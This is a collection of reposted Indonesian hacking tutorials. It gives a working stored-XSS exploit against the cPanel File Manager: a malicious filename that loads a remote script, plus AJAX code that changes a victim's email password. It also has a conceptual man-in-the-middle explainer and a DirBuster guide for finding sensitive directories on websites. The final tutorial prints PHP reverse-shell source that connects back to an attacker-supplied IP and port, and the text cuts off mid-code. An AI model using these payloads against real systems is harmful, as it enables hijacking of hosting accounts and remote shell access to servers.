Cpanel adalah aplikasi pengelolaan
hosting yang sangat vital karena dengan aplikasi ini seseorang bisa
mengelola semua hal yang terkait dengan hosting antara lain website,
email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak
lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang
berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah
satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting)
pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang
login dalam cpanel, kemudian menjalankan script dengan hak yang sama
dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel
versi 11.24.4-CURRENT, diuji coba dengan browser Firefox 3.0.7.
Sekilas tentang CPanel File Manager
Cpanel terdiri dari berbagai macam
aplikasi, salah satunya adalah file manager, yang berfungsi untuk
mengelola file dalam account hosting. Dengan file manager, seorang
pengguna bisa menghapus, membuat, mengedit file dalam file system.
File manager pada cpanel ada dua, yaitu
“File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada
soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih
sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari
sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress,
ekstrak pada versi modernnya.
Persistent XSS Attack by Crafting Malicious File Name
Kedua jenis file manager cpanel rentan
terhadap serangan XSS. File manager cpanel tidak memfilter nama file
yang ditampilkan di web sehingga attacker bisa menginjeksi script atau
kode html dengan cara membuat file dengan nama yang mengandung kode
html dan javascript.
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih
berbahaya karena hanya dengan melihat nama filenya saja malicious code
yang dikirimkan attacker akan dieksekusi browser. Dalam file manager
yang standard, cpanel berhasil memfilter karakter berbahaya dari nama
file sehingga malicious code tidak dieksekusi dalam halaman daftar
file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy,
move, code/html editor,compress, change permission. Agar malicious code
attacker dieksekusi browser, korban harus memilih file tersebut dengan
checkbox, kemudian melakukan salah satu diantara:
delete,copy,move,edit,compress atau change permission.
Jadi jelas bahwa serangan xss ini lebih berbahaya
pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa
lagi selain melihat daftar file dalam suatu folder. Oleh karena itu
dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke
Legacy File Manager namun dengan exploit yang bisa bekerja di kedua
jenis file manager.
Attacking Legacy File Manager (LFM)
Mari kita lihat bagaimana LGM
menampilkan nama file dalam daftar file di web. Gambar di bawah ini
menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.
Ada dua file yang saya jadikan contoh di atas, yaitu:
"><img src=notexist.jpg> filenametestonly
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:
- Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter > agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.
- Bila nama file mengandung karakter double quote ("), maka akan diawali dengan backslash menjadi \". Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.
- Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.
Batasan dalam pembuatan nama file oleh
sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini
menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan
mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256
karakter. Karakter yang terlarang digunakan salah satunya adalah slash
(/). Oleh karena itu attacker harus bisa membuat serangan dengan nama
file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter
slash.
Attack using IMG tag to load external script
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:
- Panjang maksimum 256 karakter.
- Tidak mengandung karakter terlarang seperti slash dan double quote.
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya
mengandalkan 256 karakter saja, attacker harus membuat browser me-load
external script. Sayangnya penggunaan tag script tidak dimungkinkan
karena tag ini menuntut digunakannya tag </script> yang
mengandung karakter slash.
Cara yang saya pakai agar browser mau meload script external adalah:
- Menginjeksi javascript dalam tag img
- Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.
Saya memilih menggunakan tag IMG karena tag ini
sifatnya tunggal, tidak perlu ditutup dengan tag </img>.
Bagaimana caranya tag img bisa mengeksekusi javascript?
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun
ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan
script dalam atribut onError, yang artinya bila image dalam tag img ini
gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan
cara ini maka agar script dalam onError selalu dieksekusi, maka saya
harus membuat image selalu gagal diload. Itu mudah saya hanya perlu
mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya
script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet
Explorer, saya belum coba untuk browser lainnya.
Ada satu masalah lagi, yaitu bagaimana cara
menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi
script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga
minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan
dalam atribut SRC dalam tag script.
Namun tag script tidak langsung dituliskan dalam
nama file, melainkan ditulis oleh javascript dalam tag img dengan
fungsi document.write(). Fungsi document.write meminta masukan berupa
string, yang nantinya akan kita isi dengan tag script. Karena
masukannya berupa string, maka saya bisa pakai fungsi
String.fromCharCode() untuk menghasilkan string dari kode ASCII.
URL external berisi script yang akan saya injeksikan
adalah: http://ilmuhacking.com/x.js . Sehingga script dalam tag img
harus membuat tag berikut dengan fungsi document.write():
<script src=http://ilmuhacking.com/x.js></script>
Javascript untuk membuat tag script dengan url seperti di atas adalah:
document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))
Deretan angka pada fungi String.fromCharCode adalah
kode ASCII dari masing-masing karakter dari script tag yang akan meload
external script. Javascript tersebut harus dimasukkan ke dalam atribut
onError dari tag img. Jadi tag img yang akan dipakai untuk meload
external javascript adalah berikut ini:
<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>
Sebelumnya sudah saya jelaskan bahwa nama file
ditampilkan dalam source htmlnya sebagai bagian dari tag lain.
Contohnya adalah tag berikut:
<a href="selfile.html?dir=/home&file=cpbackup-exclude.conf" target="filewindow">
Bila attacker memasukkan tag img, yang terjadi adalah:
<a href="selfile.html?dir=/home&file=<img src='image.jpg'>" target="filewindow">
Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut
href dari tag A sehingga browser tidak menganggap ada tag image. Agar
attacker bisa menginjeksi tag img dengan benar, maka tag A yang
melingkupi harus ditutup dulu. Cara menutupnya adalah dengan
menambahkan dua karakter: “>
Gambar di atas adalah penjelasan mengapa diperlukan
double quote dan > di awal. Dalam gambar diberikan 3 contoh, dari
nama file yang normal, kemudian nama file dengan tag img, dan terakhir
diawali dengan double quote dan greater than (“>). Nama file tanpa
diawali “> akan menjadi bagian dari atribut href dari tag A, namun
bila diawali dengan “> maka karakter sesudah 2 karakter itu sudah
bukan bagian dari tag A.
Jadi sesuai penjelasan di atas, nama file yang akan
dijadikan serangan harus diawali dengan “> sehingga nama file akhir
yang harus dibuat untuk melakukan serangan adalah:
"><img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>
Dalam gambar di atas saya menunjukkan cara membuat
file dengan nama yang mengandung tag img dari console Linux. Membuat
file bisa juga dilakukan dengan upload file bila di web tersebut
memberikan kebebasan penggunanya untuk upload misal untuk gambar profil
atau album foto. Setelah file yang namanya mengandung exploit xss
dibuat, maka berikutnya bila seseorang membuka cpanel dan melihat
daftar file dalam folder tempat exploit xss berada, maka script
attacker akan dieksekusi browser, secara otomatis, tanpa perlu pengguna
berbuat sesuatu lagi.
Attacking (Standard) File Manager
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard
file manager. Hanya saja bedanya script yang diinjeksi attacker hanya
bisa dieksekusi bila korban memilih file tersebut lalu melakukan:
delete,edit,rename,copy,move,compress,change permission. Bila korban
memakai standard file manager, kemungkinan code dieksekusi tidak
sebesar pada LFM. Exploit yang sama bila dilihat dengan standard file
manager seperti pada gambar berikut:
Memang file list tidak vulnerable, namun bila korban
memilih file tersebut, kemudian memilih salah satu diantara:
delete,copy,move,rename,change permission,compress, maka script akan
dieksekusi seperti pada gambar berikut:
Remote Attack Scenario
Mungkin anda mengira serangan ini hanya bisa
dilancarkan secara lokal, setidaknya harus memiliki akses membuat file.
Sebenarnya serangan ini bisa dilancarkan secara remote. Salah satu
skenario yang mungkin adalah:
Pada web dengan fitur album foto memungkinkan pengguna untuk upload gambar. Attacker bisa melancarkan serangan ini secara remote dengan upload file gambar dengan malicious file name, kemudian menunggu owner website browsing dengan Cpanel File Manager. Ketika cpanel file manager menampilkan file dengan malicious name ke browser owner…Boom! Ranjau diinjak korban, script attacker akan dieksekusi.
Example Payload: Changing Victim Email Address
Setelah berhasil membuat browser mengeksekusi
remote script, kini saya bebas mengisi script dengan apa pun yang saya
inginkan. Dalam artikel ini saya akan memberi contoh script untuk
mengubah password email korban dengan menggunakan fungsi AJAX.
Form untuk mengubah password email tidak memerlukan
current password, pengguna hanya perlu memasukkan password baru saja.
Oleh karena itu saya bisa membuat script yang melakukan submit form
tersebut. Script untuk mengubah password email korban adalah:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | var http_request = false; function makePOSTRequest(url, parameters) { http_request = false; if (window.XMLHttpRequest) { // Mozilla, Safari,... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // set type accordingly to anticipated content type //http_request.overrideMimeType('text/xml'); http_request.overrideMimeType('text/html'); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertContents; http_request.open('POST', url, true); http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http_request.setRequestHeader("Content-length", parameters.length); http_request.setRequestHeader("Connection", "close"); http_request.send(parameters); } function alertContents() { if (http_request.readyState == 4) { if (http_request.status == 200) { //alert(http_request.responseText); result = http_request.responseText; alert(result); } else { alert('There was a problem with the request.'); } } } var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") + "&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testing") + "&domain=" + encodeURI("ilmuhacking.com" ); makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr); |
Script di atas melakukan POST request dengan fungsi
AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST
data: quota (dalam mega byte), password, password2, email dan domain.
Masih banyak payload lain yang bisa dibuat antara
lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang
bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan
exploit script xss.
e-IT
October 28, 2010
New Google SEO
Bandung, Indonesia
Sudah banyak artikel di ilmuhacking
yang membahas teknik serangan man in the middle (mitm), namun belum
pernah saya menjelaskan secara detil tentang apa itu mitm attack. Mitm
attack merupakan jenis serangan yang sangat berbahaya dan bisa terjadi
di mana saja, baik di website, telepon seluler, maupun di peralatan
komunikasi tradisional seperti surat menyurat. Oleh karena itu saya
pikir perlu ada satu artikel khusus yang membahas tentang mitm attack
terlepas dari apapun dan dimanapun implementasi teknisnya.
Bukan Sekedar Sniffing
Mungkin banyak yang mengira tujuan dari
serangan mitm adalah untuk menyadap komunikasi data rahasia, seperti
yang sniffing. Sniffing bisa disebut sebagai passive attack karena pada
sniffing attacker tidak melakukan tindakan apa-apa selain memantau
data yang lewat. Memang benar dengan serangan mitm, seorang attacker
bisa mengetahui apa yang dibicarakan oleh dua pihak yang berkomunikasi.
Namun sebenarnya kekuatan terbesar dari mitm bukan pada kemampuan
sniffingnya, namun pada kemampuan mencegat dan mengubah komunikasi
sehingga mitm attack bisa disebut sebagai jenis serangan aktif.
Gambar di bawah ini adalah skenario yang bisa dilakukan attacker dengan serangan mitm.
sniffing,intercepting,tampering,fabricating
Pada gambar tersebut terlihat ada 4 macam
serangan yang bisa dilakukan dengan MITM. Berikut adalah penjelasan
dari jenis serangan tersebut dalam skenario seperti gambar di atas.
- Sniffing: Charlie mengetahui semua pembicaraan antara Alice dan Bob.
- Intercepting: Charlie mencegat pesan dari Alice ketika Alice ingin menutup percakapan dengan “Bob I’m going to sleep, Bye!”. Dengan begini Bob mengira Alice masih berkomunikasi dengannya.
- Tampering: Charlie mengubah jawaban Bob kepada Alice dari account Paypal bob menjadi charlie.
- Fabricating: Charlie menanyakan nomor social security number kepada Bob, padahal pertanyaan ini tidak pernah diajukan oleh Alice.
Dengan cara mitm ini bisa dibayangkan betapa besar potensi kerusakan yang bisa dilakukan Charlie kepada Alice dan Bob.
Proses Terjadinya Serangan Man-in-The-Middle
Dalam serangan mitm, seorang attacker
akan berada di tengah-tengah komunikasi antara dua pihak. Seluruh
pembicaraan yang terjadi di antara mereka harus melalui attacker dulu
di tengah. Attacker dengan leluasa melakukan penyadapan, pencegatan,
pengubahan bahkan memalsukan komunikasi seperti yang sudah saya
jelaskan sebelumnya.
Sekarang mari kita lihat proses
terjadinya MITM dalam contoh kasus Alice berkomunikasi dengan Bob.
Charlie sebagai attacker akan berusaha berada di tengah antara Alice
dan Bob. Agar Charlie berhasil menjadi orang ditengah, maka Charlie
harus:
- menyamar sebagai Bob dihadapan Alice
- menyamar sebagai Alice dihadapan Bob
Charlie acts as fake Bob and fake Alice
Dalam mitm, Alice mengira sedang
berbicara dengan Bob, padahal dia sedang berbicara dengan Charlie.
Begitu juga Bob, dia mengira sedang berbicara dengan Alice, padahal
sebenarnya dia sedang berbicara dengan Alice. Jadi agar bisa menjadi
orang di tengah Charlie harus bisa menyamar di dua sisi, tidak bisa
hanya di satu sisi saja.
Kenapa Alice dan Bob bisa terjebak dan
tertipu oleh Charlie? Itu karena Alice dan Bob tidak melakukan
otentikasi dulu sebelum berkomunikasi. Otentikasi akan menjamin Alice
berbicara dengan Bob yang asli, bukan Bob palsu yang diperankan oleh
Charlie. Begitu juga dengan otentikasi, Bob akan berbicara dengan Alice
yang asli, bukan Alice palsu yang diperankan oleh Charlie.
Pentingnya Otentikasi: Who Are You Speaking With?
Otentikasi adalah proses untuk
membuktikan identitas suatu subjek, bisa orang atau mesin. Proses
membuktikan identitas seeorang ada banyak cara, namun semuanya bisa
dikelompokkan dalam 3 kategori:
- What you know: PIN, password, pasangan kunci publik-privat
- What you have: smart card, kunci, USB dongle
- What you are: fingerprint, retina
Secara singkat otentikasi menjawab
pertanyaan “Who are you speaking with?”. Pertanyaan itu sangat penting
diketahui sebelum dua pihak berkomunikasi. Bila dua pihak berkomunikasi
tanpa sebelumnya melakukan otentikasi, maka keduanya bisa terjebak
berbicara dengan orang yang salah, yaitu orang yang menyamar menjadi
lawan bicaranya. Bila sampai ini terjadi maka akibatnya bisa sangat
fatal, salah satunya adalah terjadinya mitm attack.
Bila dua orang yang sudah saling
mengenal berbicara dengan tatap muka langsung, maka tidak mungkin
keduanya terjebak dan tertipu berbicara dengan orang yang salah.
Otentikasi menjadi sangat penting bila kedua pihak berbicara melalui
media komunikasi jarak jauh seperti telpon atau internet. Dalam
komunikasi jarak jauh, kita hanya bisa mendengar suara lawan bicara
kita, jadi sangat besar kemungkinan kita berbicara dengan orang yang
salah.
Jadi cara untuk mencegah serangan MITM
adalah dengan melakukan otentikasi sebelum berkomunikasi. Bahkan
walaupun otentikasi dilakukan oleh salah satu pihak saja, itu sudah
cukup untuk mencegah mitm. Mari kita lihat kembali contoh Alice, Bob
dan Charlie, bila otentikasi hanya dilakukan oleh Bob, sedangkan Alice
tidak. Karena tidak adanya otentikasi Alice, maka Charlie bisa menyamar
sebagai Alice di hadapan Bob, namun Charlie tidak bisa menyamar sebagai
Bob di hadapan Alice. Kenapa Charlie tidak bisa menyamar menjadi Bob?
Sebab Alice akan menguji keaslian Bob dengan otentikasi, sehingga
penyamaran Charlie sebagai Bob palsu akan terbongkar dan Alice tidak
akan mau melanjutkan komunikasi.
sumber : http://www.ilmuhacking.com/
e-IT
October 28, 2010
New Google SEO
Bandung, Indonesia
Mungkin anda akan terkejut bila
mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya
karena sebuah kesalahan “konyol”. Tidak dibutuhkan keahlian
programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah
direktori yang berisi file-file sensitif, maka sebuah website akan
bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.
Direktori Sensitif
Semua direktori atau file yang
mengandung informasi berguna buat hacker untuk mendeface website anda,
maka direktori itu termasuk sensitif. Beberapa direktori atau file yang
tergolong sensitif antara lain:
- Backup
Hal yang biasanya dibackup adalah
database dan source script webnya. Bayangkan apa yang terjadi bila
hacker berhasil mendapatkan seluruh file php dan “database dump” dalam
satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda
salah besar, karena saya sering menemukan file backup berekstensi zip,
tar.gz, atau sql berserakan di websitenya.
- Halaman Login
Ada banyak macam halaman login, umumnya
adalah halaman login untuk mengelola isi website, yaitu CMS
Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin,
cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2
adalah Java based webserver dan web service platform.
Kenapa halaman login termasuk sensitif?
Karena dengan mengetahui URL untuk menjadi Administrator website,
seorang hacker bisa melakukan serangan SQL Injection, password
guessing, dictionary attack dan brute force attack untuk membuat
dirinya menjadi seorang administrator di website anda. Celakanya banyak
website yang halaman login adminnya tidak menggunakan password yang
kuat, bahkan menggunakan password default.
- Log file
Log file biasanya dipakai untuk tujuan
debugging atau penelusuran kesalahan oleh web developer. Karena itu
tidak heran bila dalam log file banyak mengandung informasi sensitif
yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung
dari web aplikasi yang dipakai karena web developer punya kebebasan
untuk membuat atau tidak membuat file log.
Salah satu contoh log file yang biasa
ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program
WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload
ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam
folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa
mendapatkan banyak informasi sensitif: antara lain IP address web
server anda (banyak web yang menyembunyikan IP address sebenarnya
dibalik NAT), full path lokasi document root web anda, username account
hosting anda (bila dalam full path mengandung nama seperti
/home/username/…./).
WS_FTP.LOG juga bisa membocorkan isi
sebuah direktori bila anda sudah mematikan fitur “Directory Indexing”
atau membuat file index.html kosong. Seorang hacker yang tidak bisa
melihat isi direktori karena directory index dimatikan atau ada file
index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu.
Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan
isi file dalam direktori tersebut.
- Versi Lama
Terkadang ketika sebuah website
diupdate ke versi baru, file-file script lama disimpan dalam satu
direktori bernama oldversion, version1 dan versi barunya dalam
direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu
web adalah kesempatan emas untuk menemukan celah keamanan karena
biasanya web versi terbarunya memang tidak mengandung kelemahan, namun
bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah
keamanan.
Saya pernah menemukan sebuah website
yang securitynya bagus, saya tidak menemukan vulnerability di sana,
namun ternyata dia lupa membuang versi lama dari web tersebut. Namun
ternyata web versi lama yang mengandung banyak bug dari SQL injection
sampai local file injection masih bisa diakses di direktori lain.
Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti
apa-apa karena hacker bisa menyerang dari web versi lamanya.
Berburu Direktori dan File Sensitif
Nama direktori atau file bisa ditemukan dengan 2 cara:
- Crawling
Crawling ini adalah cara yang dipakai
oleh search engine untuk mendapatkan isi website anda. Ini adalah cara
yang “sopan”, karena kita hanya mencari apa yang memang disediakan oleh
pemilik webnya. Search engine crawling akan mengikuti direktori apa
yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt.
Jadi bila ada direktori sensitif yang bisa di-search di Google, maka
itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link.
Bila di seluruh jagat internet ini tidak ada satupun link ke direktori
itu, maka tidak mungkin direktori itu muncul di Google.
Kita bisa memanfaatkan Google Hacking
untuk mencari direktori sensitif yang sengaja atau tidak sengaja
ter-index oleh Google. Kita juga bisa membuat script atau memakai
program semacam wget untuk melakukan crawling website (tidak
memanfaatkan Google index). Menjalankan crawler sendiri terkadang
diperlukan bila kita ingin melakukan crawling direktori yang search
engine dilarang untuk masuk (diblacklist di /robots.txt).
- Guessing
- Pure Brute Force Attack
- Dictionary Attack
Cara ini adalah cara yang paling kasar.
Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan
karakter lain sebagai nama direktori atau nama file. Contoh: request
/aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua
kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat
lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori
yang lolos, karena semua kemungkinan akan dicoba.
Ini adalah cara yang lebih sopan
dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama
yang akan kita pakai untuk request ke web server. Efektif tidaknya cara
ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik
kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan
direktori sensitif. Kamus yang baik adalah kamus berisi kata yang
memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama
fiktif atau karangan.
Dalam artikel ini saya akan menggunakan tools gratisan, DirBuster
yang dibuat oleh OWASP (Open Web Application Security Project), sebuah
kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah
saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada
kualtias kamus yang dimilikinya.
DirBuster memiliki kamus yang sangat
lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang
benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan
nama ini didapatkan dari internet dengan cara melakukan crawling
terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama
yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran
small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh
di file dengan akhiran medium.txt, dan semua nama yang ditemukan
ditaruh dalam file berakhiran big.txt.
Bila anda membutuhkan daftar nama
direktori saja untuk dipakai di program lain, anda juga bisa
mendownload kamusnya saja tanpa harus mendownload DirBuster.
Tools ini sangat mudah digunakan, jadi silakan saja langsung download DirBuster. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.
Scanning Type
Ada dua jenis scanning yang bisa
dilakukan, pure brute force atau dictionary based attack. Bila anda
memilih memakai teknik pure brute force, maka anda harus menentukan
character set (kumpulan karakter) yang akan dijadikan nama direktori
dan tentukan juga panjang minimal dan maksimalnya. Semakin besar
populasi dari character set yang anda pilih dan semakin panjang max
length yang anda pilih, semakin besar kumpulan kata yang dihasilkan,
itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya.
Gambar di bawah ini adalah screenshot ketika memilih pure brute force.
Bila memilih list based brute force, maka
kita harus memilih file berisi daftar nama direktori. DirBuster sudah
menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:
- directory-list-2.3-small.txt (87650 words) : Minimal dipakai di 3 situs berbeda.
- directory-list-2.3-medium.txt (220546 words) : Minimal dipakai di 2 situs berbeda.
- directory-list-2.3-big.txt (1273819 words) : Minimal pernah dipakai.
- directory-list-lowercase-2.3-small.txt (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt
- directory-list-lowercase-2.3-medium.txt (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt
- directory-list-lowercase-2.3-big.txt (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt
- directory-list-1.0.txt (141694 words) : Daftar awalnya, tidak terurut
- apache-user-enum-1.0.txt (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server
- apache-user-enum-2.0.txt (10341 usernames) : Dipakai untuk user enumeration
Dalam list yang disediakan DirBuster
juga menyediakan daftar username yang dipakai untuk user enumeration,
yaitu mendapatkan nama user yang valid di sebuah server. Dalam web
server Apache yang mengaktifkan mod_userdir, bisa dilakukan user
enumeration dengan cara menggunakan ~namauser sebagai nama direktori.
Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.
Starting Options
Pilihan lain yang harus dipilih adalah
starting options, yaitu di mana titik mulainya DirBuster mencari
direktori. Pilihannya adalah standard start point, atau URL Fuzz.
Standard start point adalah pilihan yang paling banyak digunakan karena
pilihan ini berarti kita meminta DirBuster untuk menggunakan nama
direktori sebagai titik awal.
Pilihan yang ada ketika kita memilih
Standard Start Point adalah checkbox Brute Force Dirs yang bisa
dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force
Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan
tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori
dan nama file, atau direktori saja, atau nama file saja.
Pilihan File extention bisa diisi
dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan
php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi,
kita bisa centang pilihan Use Blank Extention.
Pilihan Be Recursive digunakan untuk
membuat DirBuster melakukan pencarian secara mendalam (Deep First
Search), yaitu mencari subdirektori dalam sebuah direktori, mencari
sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman
tertentu.
Walaupun tools ini sangat sederhana,
tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin
nanti anda akan terkejut melihat banyaknya webmaster yang sembrono
menaruh file/direktori sensitif di websitenya.
sumber : http://www.ilmuhacking.com
e-IT
October 28, 2010
New Google SEO
Bandung, Indonesia
Rootshell adalah impian semua hacker.
Biasanya seorang hacker yang masuk melalui web vulnerability, akan
mengupload webshell. Dengan webshell si hacker bisa mengeksekusi
command shell melalui request HTTP. Namun webshell tetaplah bukan true
shell, webshell memiliki banyak keterbatasan, salah satunya adalah
sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan
bagaimana caranya mendapatkan true shell yang interaktif dari suatu
website yang berhasil dihack. Dari shell tersebut saya juga
memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege
dari user biasa (apache) menjadi root dan mensetup sebuah backdoor
sehingga si hacker kapan saja bisa mendapatkan rootshell.
Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net
dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun
hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba
untuk memodifikasi reverse shell tersebut untuk bekerja di windows,
namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan
lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua
konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address
dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih
fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai
dari parameter GET.
set_time_limit (0); $VERSION = "1.0"; $ip = '127.0.0.1'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0); $VERSION = "1.0"; $ip = $_GET["ip"]; $port = $_GET["port"]; $chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php set_time_limit (0); $VERSION = "1.0"; $ip = $_GET["ip"]; $port = $_GET["port"]; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = '/bin/bash -p -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { 